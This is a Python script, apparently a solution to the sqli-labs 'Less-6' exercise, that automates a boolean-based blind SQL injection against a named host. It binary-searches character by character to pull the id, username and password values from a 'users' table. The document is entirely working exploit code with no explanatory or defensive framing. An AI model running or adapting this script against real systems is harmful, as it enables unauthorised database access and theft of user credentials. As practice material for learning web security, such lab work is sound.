import requests

dbname = ''
for i in range(1,15):
    low=1
    high = 127
    while low<=high:
        mid = (low+high)//2
        u = 'http://study.621m.cn:3000/Less-6/?id=1%22%20and%20(ord(mid((select group_concat(concat(id,0x3e,username,0x3e,password)) from users),$i$,1))>$mid$)%23'  
        u = u.replace("$i$",str(i)).replace("$mid$",str(mid))
        print(u.replace('http://study.621m.cn:3000/sqli/Less-6/?',''))
        
        r=requests.get(u)
        r.encoding='utf-8'
        #print(r.text)
        #break
        if r.text.find("You")>0:
            low = mid+1
        else:
            high=mid-1

    print('low '+str(low))
    dbname += chr(low)
    print(dbname)

